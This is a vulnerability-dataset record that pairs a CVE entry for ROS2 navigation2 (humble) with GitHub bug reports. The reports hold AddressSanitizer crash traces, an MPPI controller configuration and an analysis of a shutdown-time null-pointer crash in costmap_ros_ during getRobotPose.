nav2_util::getCurrentPose(geometry_msgs::msg::PoseStamped_<std::allocator<void> >&, tf2_ros::Buffer&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, double, rclcpp::Time) (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav2_util/lib/libnav2_util_core.so+0x8883f) (BuildId: 074014a12aa30b6de43159e7eb335b66f35e5343) #4 0x76800af340a8 in nav2_costmap_2d::Costmap2DROS::getRobotPose(geometry_msgs::msg::PoseStamped_<std::allocator<void> >&) (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav2_costmap_2d/lib/libnav2_costmap_2d_core.so+0xd70a8) (BuildId: ae00021bac019132f382130b42d6275d543c55a4) #5 0x7680096a8b93 in nav2_controller::ControllerServer::getRobotPose(geometry_msgs::msg::PoseStamped_<std::allocator<void> >&) (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav2_controller/lib/libcontroller_server_core.so+0x2a8b93) (BuildId: f6be86e576eea5a4c9c0de506e472b69f7a05ca9) #6 0x7680096a4c22 in nav2_controller::ControllerServer::computeAndPublishVelocity() (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav2_controller/lib/libcontroller_server_core.so+0x2a4c22) (BuildId: f6be86e576eea5a4c9c0de506e472b69f7a05ca9) #7 0x768009696561 in nav2_controller::ControllerServer::computeControl() (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav2_controller/lib/libcontroller_server_core.so+0x296561) (BuildId: f6be86e576eea5a4c9c0de506e472b69f7a05ca9) #8 0x76800981eec3 in nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::work() (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav2_controller/lib/libcontroller_server_core.so+0x41eec3) (BuildId: f6be86e576eea5a4c9c0de506e472b69f7a05ca9) #9 0x76800981e234 in std::__future_base::_Task_setter<std::unique_ptr<std::__future_base::_Result<void>, std::__future_base::_Result_base::_Deleter>, std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >)::'lambda'()> >, void>::operator()() const (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav2_controller/lib/libcontroller_server_core.so+0x41e234) (BuildId: f6be86e576eea5a4c9c0de506e472b69f7a05ca9) #10 0x76800981df47 in std::enable_if<is_invocable_r_v<std::unique_ptr<std::__future_base::_Result_base, std::__future_base::_Result_base::_Deleter>, std::__future_base::_Task_setter<std::unique_ptr<std::__future_base::_Result<void>, std::__future_base::_Result_base::_Deleter>, std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >)::'lambda'()> >, void>&>, std::unique_ptr<std::__future_base::_Result_base, std::__future_base::_Result_base::_Deleter> >::type std::__invoke_r<std::unique_ptr<std::__future_base::_Result_base, std::__future_base::_Result_base::_Deleter>, std::__future_base::_Task_setter<std::unique_ptr<std::__future_base::_Result<void>, std::__future_base::_Result_base::_Deleter>, std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >)::'lambda'()> >, void>&>(std::__future_base::_Task_setter<std::unique_ptr<std::__future_base::_Result<void>, std::__future_base::_Result_base::_Deleter>, std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >)::'lambda'()> >, void>&) (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav2_controller/lib/libcontroller_server_core.so+0x41df47) (BuildId: f6be86e576eea5a4c9c0de506e472b69f7a05ca9) #11 0x76800981dd88 in std::_Function_handler<std::unique_ptr<std::__future_base::_Result_base, std::__future_base::_Result_base::_Deleter> (), std::__future_base::_Task_setter<std::unique_ptr<std::__future_base::_Result<void>, std::__future_base::_Result_base::_Deleter>, std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >)::'lambda'()> >, void> >::_M_invoke(std::_Any_data const&) (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav2_controller/lib/libcontroller_server_core.so+0x41dd88) (BuildId: f6be86e576eea5a4c9c0de506e472b69f7a05ca9) #12 0x76800acf5b46 in std::__future_base::_State_baseV2::_M_do_set(std::function<std::unique_ptr<std::__future_base::_Result_base, std::__future_base::_Result_base::_Deleter> ()>*, bool*) (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav2_util/lib/libnav2_util_core.so+0x7fb46) (BuildId: 074014a12aa30b6de43159e7eb335b66f35e5343) #13 0x768008a99ee7 in __pthread_once_slow nptl/./nptl/pthread_once.c:116:7 #14 0x76800981b951 in std::__future_base::_Async_state_impl<std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >)::'lambda'()> >, void>::_M_run() (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav2_controller/lib/libcontroller_server_core.so+0x41b951) (BuildId: f6be86e576eea5a4c9c0de506e472b69f7a05ca9) #15 0x768008edc252 (/lib/x86_64-linux-gnu/libstdc++.so.6+0xdc252) (BuildId: e37fe1a879783838de78cbc8c80621fa685d58a2) #16 0x768008a94ac2 in start_thread nptl/./nptl/pthread_create.c:442:8 #17 0x768008b2684f misc/../sysdeps/unix/sysv/linux/x86_64/clone3.S:81 AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav_2d_utils/lib/libtf_help.so+0x50a7) (BuildId: f41cf37be8ae9a489a0e1967e8f3d5855328550d) in geometry_msgs::msg::PoseStamped_<std::allocator<void> >& tf2_ros::BufferInterface::transform<geometry_msgs::msg::PoseStamped_<std::allocator<void> > >(geometry_msgs::msg::PoseStamped_<std::allocator<void> > const&, geometry_msgs::msg::PoseStamped_<std::allocator<void> >&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, std::chrono::duration<long, std::ratio<1l, 1000000000l> >) const Thread T23 created by T15 here: #0 0x59f1c7ec487c in __interceptor_pthread_create (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav2_controller/lib/nav2_controller/controller_server+0x9387c) (BuildId: 3220191749087a73a7eee69dd741a727d5302202) #1 0x768008edc328 in std::thread::_M_start_thread(std::unique_ptr<std::thread::_State, std::default_delete<std::thread::_State> >, void (*)()) (/lib/x86_64-linux-gnu/libstdc++.so.6+0xdc328) (BuildId: e37fe1a879783838de78cbc8c80621fa685d58a2) #2 0x76800981b2b2 in std::__future_base::_Async_state_impl<std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >)::'lambda'()> >, void>::_Async_state_impl<nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >)::'lambda'()>(nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >)::'lambda'()&&) (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav2_controller/lib/libcontroller_server_core.so+0x41b2b2) (BuildId: f6be86e576eea5a4c9c0de506e472b69f7a05ca9) #3 0x76800981aa58 in std::__shared_count<(__gnu_cxx::_Lock_policy)2>::__shared_count<std::__future_base::_Async_state_impl<std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >)::'lambda'()> >, void>, std::allocator<void>, nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >)::'lambda'()>(std::__future_base::_Async_state_impl<std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >)::'lambda'()> >, void>*&, std::_Sp_alloc_shared_tag<std::allocator<void> >, nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >)::'lambda'()&&) (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav2_controller/lib/libcontroller_server_core.so+0x41aa58) (BuildId: f6be86e576eea5a4c9c0de506e472b69f7a05ca9) #4 0x768009818d03 in std::future<std::__invoke_result<std::decay<nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >)::'lambda'()>::type>::type> std::async<nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >)::'lambda'()>(std::launch, nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >)::'lambda'()&&) (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav2_controller/lib/libcontroller_server_core.so+0x418d03) (BuildId: f6be86e576eea5a4c9c0de506e472b69f7a05ca9) #5 0x768009801e29 in nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >) (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav2_controller/lib/libcontroller_server_core.so+0x401e29) (BuildId: f6be86e576eea5a4c9c0de506e472b69f7a05ca9) #6 0x768009822ac7 in void std::__invoke_impl<void, void (nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::*&)(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >), nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>*&, std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> > >(std::__invoke_memfun_deref, void (nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::*&)(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >), nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>*&, std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >&&) (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav2_controller/lib/libcontroller_server_core.so+0x422ac7) (BuildId: f6be86e576eea5a4c9c0de506e472b69f7a05ca9) #7 0x768009809986 in rclcpp_action::Server<nav2_msgs::action::FollowPath>::call_goal_accepted_callback(std::shared_ptr<rcl_action_goal_handle_s>, std::array<unsigned char, 16ul>, std::shared_ptr<void>) (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav2_controller/lib/libcontroller_server_core.so+0x409986) (BuildId: f6be86e576eea5a4c9c0de506e472b69f7a05ca9) #8 0x76800aa0c246 in rclcpp_action::ServerBase::execute_goal_request_received(std::shared_ptr<void>&) (/opt/ros/humble/lib/librclcpp_action.so+0x13246) (BuildId: 4dfcc4cee7010878193255b3a622d5194654caa8) Thread T15 created by T0 here: #0 0x59f1c7ec487c in __interceptor_pthread_create (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav2_controller/lib/nav2_controller/controller_server+0x9387c) (BuildId: 3220191749087a73a7eee69dd741a727d5302202) #1 0x768008edc328 in std::thread::_M_start_thread(std::unique_ptr<std::thread::_State, std::default_delete<std::thread::_State> >, void (*)()) (/lib/x86_64-linux-gnu/libstdc++.so.6+0xdc328) (BuildId: e37fe1a879783838de78cbc8c80621fa685d58a2) #2 0x7680097fb2a5 in nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::SimpleActionServer<std::shared_ptr<nav2_util::LifecycleNode> >(std::shared_ptr<nav2_util::LifecycleNode>, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, std::function<void ()>, std::function<void ()>, std::chrono::duration<long, std::ratio<1l, 1000l> >, bool, rcl_action_server_options_s const&) (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav2_controller/lib/libcontroller_server_core.so+0x3fb2a5) (BuildId: f6be86e576eea5a4c9c0de506e472b69f7a05ca9) #3 0x768009694cc8 in std::__detail::_MakeUniq<nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath> >::__single_object std::make_unique<nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>, std::shared_ptr<nav2_util::LifecycleNode>, char const (&) [12], std::_Bind<void (nav2_controller::ControllerServer::* (nav2_controller::ControllerServer*))()>, std::nullptr_t, std::chrono::duration<long, std::ratio<1l, 1000l> >, bool>(std::shared_ptr<nav2_util::LifecycleNode>&&, char const (&) [12], std::_Bind<void (nav2_controller::ControllerServer::* (nav2_controller::ControllerServer*))()>&&, std::nullptr_t&&, std::chrono::duration<long, std::ratio<1l, 1000l> >&&, bool&&) (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav2_controller/lib/libcontroller_server_core.so+0x294cc8) (BuildId: f6be86e576eea5a4c9c0de506e472b69f7a05ca9) #4 0x76800968a121 in nav2_controller::ControllerServer::on_configure(rclcpp_lifecycle::State const&) (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav2_controller/lib/libcontroller_server_core.so+0x28a121) (BuildId: f6be86e576eea5a4c9c0de506e472b69f7a05ca9) #5 0x76800a80b8ec (/opt/ros/humble/lib/librclcpp_lifecycle.so+0x288ec) (BuildId: 97f6428dc1ee45fd402b522b3b8e6b4fcfeabe76) ==661329==ABORTING ``` #### Additional information  ---- ##### It's a shutdown-issue First, based on my execution logs, I can confirm this is a shutdown issue. ##### the casue analysis Below is an analysis of the cause of this bug: The action_server_ binds the computeControl() function as a callback function: https://github.com/ros-navigation/navigation2/blob/635880d3d6ad1f23eb75d793409189c653797f58/nav2_controller/src/controller_server.cpp#L228-L234 Therefore, when the action_server_ receives a task command, it will invoke the function path computeControl() -> computeAndPublishVelocity(): https://github.com/ros-navigation/navigation2/blob/635880d3d6ad1f23eb75d793409189c653797f58/nav2_controller/src/controller_server.cpp#L482 The `computeAndPublishVelocity()` function directly uses the function `getRobotPose()` of `costmap_ros_` for calculations: https://github.com/ros-navigation/navigation2/blob/635880d3d6ad1f23eb75d793409189c653797f58/nav2_controller/src/controller_server.cpp#L584-L591 This causes the `action_server_` to access the internal memory of `costmap_ros_` during the `getRobotPose()` execution. However, it should be noted that : although `nav2_costmap_ros` is a plugin, it is also an independent ROS2-LifecycleNode that actively responds to exit signals. Therefore, `costmap_ros` might respond to signals from `rclcpp::ok()` and exit earlier than thier **parent-LifecycleNode**, nav2_controller. If this response sequence occurs, `costmap_ros_` might have already exited and released its memory BUT nav2_controller's `action_server_` is still executing calculations, leading to access of released memory and thus an error. ##### Additional information for the additional information: Note: This should be a very similar (or even the same) issue occurred with following ISSUEs , in which here're our previous discussion and fix into `main` branch: https://github.com/ros-navigation/navigation2/issues/3971#issue-2001528486 https://github.com/ros-navigation/navigation2/pull/3972#issuecomment-1820538411 I noticed that such fix is deployed into `main` but not into `humble` so that the similar bug occurs again. ##### suggestion Shall we push such change for `costmap_ros_` from `main` into `humble`?

NullPtr bug during the `getRobotPose()` calculation of `costmap_ros_` in `nav2_controller`

https://api.github.com/repos/ros-navigation/navigation2/issues/4437/comments

4

2024-06-14T20:22:16Z

2024-06-24T17:40:52Z

https://github.com/ros-navigation/navigation2/issues/4437

2,354,037,707

4,437

6,452

CVE-2024-41647

2024-12-06T22:15:20.807

Insecure Permissions vulnerability in Open Robotics Robotic Operating System 2 ROS2 navigation2 v.humble allows an attacker to execute arbitrary code via a crafted script to the nav2_mppi_controller.

{ "cvssMetricV2": null, "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 9.8, "baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1" }, "exploitabilityScore": 3.9, "impactScore": 5.9, "source": "nvd@nist.gov", "type": "Primary" }, { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 9.8, "baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1" }, "exploitabilityScore": 3.9, "impactScore": 5.9, "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary" } ], "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Third Party Advisory" ], "url": "https://github.com/GoesM/ROS-CVE-CNVDs" }, { "source": "cve@mitre.org", "tags": [ "Exploit", "Issue Tracking" ], "url": "https://github.com/ros-navigation/navigation2/issues/4436" }, { "source": "cve@mitre.org", "tags": [ "Third Party Advisory" ], "url": "https://github.com/ros-navigation/navigation2/pull/4463" } ]

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[ "732" ]

732

https://github.com/ros-navigation/navigation2/issues/4436

[ "Exploit", "Issue Tracking" ]

github.com

[ "ros-navigation", "navigation2" ]

## Bug report **Required Info:** - Operating System: -  ubuntu 22.04 - ROS2 Version: -  humble - Version or commit hash: -  the latest - DDS implementation: -  the defaulted #### Steps to reproduce issue  The bug occurs during normal use of nav2_mppi_controller. By changing the controller plugin to MPPI while keeping the rest of the configuration the same as the official default, start navigation2. The YAML configuration for changing the controller plugin to MPPI is: ```yaml controller_server: ros__parameters: FollowPath: AckermannConstraints: min_turning_r: 0.2 ConstraintCritic: cost_power: 1 cost_weight: 4.0 enabled: true CostCritic: collision_cost: 1000000.0 consider_footprint: true cost_power: 1 cost_weight: 3.81 critical_cost: 300.0 enabled: true near_goal_distance: 1.0 trajectory_point_step: 2 GoalAngleCritic: cost_power: 1 cost_weight: 3.0 enabled: true threshold_to_consider: 0.5 GoalCritic: cost_power: 1 cost_weight: 5.0 enabled: true threshold_to_consider: 1.4 ObstaclesCritic: collision_cost: 10000.0 collision_margin_distance: 0.1 consider_footprint: false cost_power: 1 cost_scaling_factor: 10.0 critical_weight: 20.0 enabled: true inflation_radius: 0.55 near_goal_distance: 0.5 repulsion_weight: 1.5 PathAlignCritic: cost_power: 1 cost_weight: 14.0 enabled: true max_path_occupancy_ratio: 0.05 offset_from_furthest: 20 threshold_to_consider: 0.5 trajectory_point_step: 4 use_path_orientations: false PathAngleCritic: cost_power: 1 cost_weight: 2.0 enabled: true max_angle_to_furthest: 1.0 mode: 0 offset_from_furthest: 4 threshold_to_consider: 0.5 PathFollowCritic: cost_power: 1 cost_weight: 5.0 enabled: true offset_from_furthest: 5 threshold_to_consider: 1.4 PreferForwardCritic: cost_power: 1 cost_weight: 5.0 enabled: true threshold_to_consider: 0.5 TrajectoryVisualizer: time_step: 3 trajectory_step: 5 TwirlingCritic: enabled: true twirling_cost_power: 1 twirling_cost_weight: 10.0 VelocityDeadbandCritic: cost_power: 1 cost_weight: 35.0 deadband_velocities: - 0.05 - 0.05 - 0.05 enabled: true batch_size: 2000 critics: - ConstraintCritic - CostCritic - GoalCritic - GoalAngleCritic - PathAlignCritic - PathFollowCritic - PathAngleCritic - PreferForwardCritic gamma: 0.015 iteration_count: 1 model_dt: 0.05 motion_model: DiffDrive plugin: nav2_mppi_controller::MPPIController prune_distance: 1.7 regenerate_noises: false reset_period: 1.0 temperature: 0.3 time_steps: 56 transform_tolerance: 0.1 visualize: false vx_max: 0.5 vx_min: -0.35 vx_std: 0.2 vy_max: 0.5 vy_std: 0.2 wz_max: 1.9 wz_std: 0.4 controller_frequency: 20.0 controller_plugins: - FollowPath failure_tolerance: 0.3 general_goal_checker: plugin: nav2_controller::SimpleGoalChecker stateful: true xy_goal_tolerance: 0.25 yaw_goal_tolerance: 0.25 goal_checker_plugins: - general_goal_checker min_theta_velocity_threshold: 0.001 min_x_velocity_threshold: 0.001 min_y_velocity_threshold: 0.5 progress_checker: movement_time_allowance: 10.0 plugin: nav2_controller::SimpleProgressChecker required_movement_radius: 0.5 progress_checker_plugin: progress_checker use_sim_time: true ``` #### Expected behavior no NullPtr bug occured. #### Actual behavior the Asan report of this NullPtr bug is as following: ``` ================================================================= ==605052==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000060 (pc 0x741423520880 bp 0x61f0000ea4d8 sp 0x7414125f57b8 T23) ==605052==The signal is caused by a READ memory access. ==605052==Hint: address points to the zero page. #0 0x741423520880 in nav2_costmap_2d::Costmap2D::worldToMap(double, double, unsigned int&, unsigned int&) const (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav2_costmap_2d/lib/libnav2_costmap_2d_core.so+0xc3880) (BuildId: ae00021bac019132f382130b42d6275d543c55a4) #1 0x741414cd1704 in mppi::PathHandler::getGlobalPlanConsideringBoundsInCostmapFrame(geometry_msgs::msg::PoseStamped_<std::allocator<void> > const&) (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav2_mppi_controller/lib/libmppi_controller.so+0xec704) (BuildId: 6464b5c753e86bc8fa48c1a26a3f20eee21259fb) #2 0x741414cd1d0e in mppi::PathHandler::transformPath(geometry_msgs::msg::PoseStamped_<std::allocator<void> > const&) (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav2_mppi_controller/lib/libmppi_controller.so+0xecd0e) (BuildId: 6464b5c753e86bc8fa48c1a26a3f20eee21259fb) #3 0x741414c428c9 in nav2_mppi_controller::MPPIController::computeVelocityCommands(geometry_msgs::msg::PoseStamped_<std::allocator<void> > const&, geometry_msgs::msg::Twist_<std::allocator<void> > const&, nav2_core::GoalChecker*) (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav2_mppi_controller/lib/libmppi_controller.so+0x5d8c9) (BuildId: 6464b5c753e86bc8fa48c1a26a3f20eee21259fb) #4 0x741421ca506b in nav2_controller::ControllerServer::computeAndPublishVelocity() (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav2_controller/lib/libcontroller_server_core.so+0x2a506b) (BuildId: f6be86e576eea5a4c9c0de506e472b69f7a05ca9) #5 0x741421c96561 in nav2_controller::ControllerServer::computeControl() (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav2_controller/lib/libcontroller_server_core.so+0x296561) (BuildId: f6be86e576eea5a4c9c0de506e472b69f7a05ca9) #6 0x741421e1eec3 in nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::work() (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav2_controller/lib/libcontroller_server_core.so+0x41eec3) (BuildId: f6be86e576eea5a4c9c0de506e472b69f7a05ca9) #7 0x741421e1e234 in std::__future_base::_Task_setter<std::unique_ptr<std::__future_base::_Result<void>, std::__future_base::_Result_base::_Deleter>, std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >)::'lambda'()> >, void>::operator()() const (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav2_controller/lib/libcontroller_server_core.so+0x41e234) (BuildId: f6be86e576eea5a4c9c0de506e472b69f7a05ca9) #8 0x741421e1df47 in std::enable_if<is_invocable_r_v<std::unique_ptr<std::__future_base::_Result_base, std::__future_base::_Result_base::_Deleter>, std::__future_base::_Task_setter<std::unique_ptr<std::__future_base::_Result<void>, std::__future_base::_Result_base::_Deleter>, std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >)::'lambda'()> >, void>&>, std::unique_ptr<std::__future_base::_Result_base, std::__future_base::_Result_base::_Deleter> >::type std::__invoke_r<std::unique_ptr<std::__future_base::_Result_base, std::__future_base::_Result_base::_Deleter>, std::__future_base::_Task_setter<std::unique_ptr<std::__future_base::_Result<void>, std::__future_base::_Result_base::_Deleter>, std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >)::'lambda'()> >, void>&>(std::__future_base::_Task_setter<std::unique_ptr<std::__future_base::_Result<void>, std::__future_base::_Result_base::_Deleter>, std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >)::'lambda'()> >, void>&) (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav2_controller/lib/libcontroller_server_core.so+0x41df47) (BuildId: f6be86e576eea5a4c9c0de506e472b69f7a05ca9) #9 0x741421e1dd88 in std::_Function_handler<std::unique_ptr<std::__future_base::_Result_base, std::__future_base::_Result_base::_Deleter> (), std::__future_base::_Task_setter<std::unique_ptr<std::__future_base::_Result<void>, std::__future_base::_Result_base::_Deleter>, std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >)::'lambda'()> >, void> >::_M_invoke(std::_Any_data const&) (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav2_controller/lib/libcontroller_server_core.so+0x41dd88) (BuildId: f6be86e576eea5a4c9c0de506e472b69f7a05ca9) #10 0x7414232f5b46 in std::__future_base::_State_baseV2::_M_do_set(std::function<std::unique_ptr<std::__future_base::_Result_base, std::__future_base::_Result_base::_Deleter> ()>*, bool*) (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav2_util/lib/libnav2_util_core.so+0x7fb46) (BuildId: 074014a12aa30b6de43159e7eb335b66f35e5343) #11 0x741421099ee7 in __pthread_once_slow nptl/./nptl/pthread_once.c:116:7 #12 0x741421e1b951 in std::__future_base::_Async_state_impl<std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >)::'lambda'()> >, void>::_M_run() (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav2_controller/lib/libcontroller_server_core.so+0x41b951) (BuildId: f6be86e576eea5a4c9c0de506e472b69f7a05ca9) #13 0x7414214dc252 (/lib/x86_64-linux-gnu/libstdc++.so.6+0xdc252) (BuildId: e37fe1a879783838de78cbc8c80621fa685d58a2) #14 0x741421094ac2 in start_thread nptl/./nptl/pthread_create.c:442:8 #15 0x74142112684f misc/../sysdeps/unix/sysv/linux/x86_64/clone3.S:81 AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav2_costmap_2d/lib/libnav2_costmap_2d_core.so+0xc3880) (BuildId: ae00021bac019132f382130b42d6275d543c55a4) in nav2_costmap_2d::Costmap2D::worldToMap(double, double, unsigned int&, unsigned int&) const Thread T23 created by T15 here: #0 0x5a47bc68d87c in __interceptor_pthread_create (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav2_controller/lib/nav2_controller/controller_server+0x9387c) (BuildId: 3220191749087a73a7eee69dd741a727d5302202) #1 0x7414214dc328 in std::thread::_M_start_thread(std::unique_ptr<std::thread::_State, std::default_delete<std::thread::_State> >, void (*)()) (/lib/x86_64-linux-gnu/libstdc++.so.6+0xdc328) (BuildId: e37fe1a879783838de78cbc8c80621fa685d58a2) #2 0x741421e1b2b2 in std::__future_base::_Async_state_impl<std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >)::'lambda'()> >, void>::_Async_state_impl<nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >)::'lambda'()>(nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >)::'lambda'()&&) (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav2_controller/lib/libcontroller_server_core.so+0x41b2b2) (BuildId: f6be86e576eea5a4c9c0de506e472b69f7a05ca9) #3 0x741421e1aa58 in std::__shared_count<(__gnu_cxx::_Lock_policy)2>::__shared_count<std::__future_base::_Async_state_impl<std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >)::'lambda'()> >, void>, std::allocator<void>, 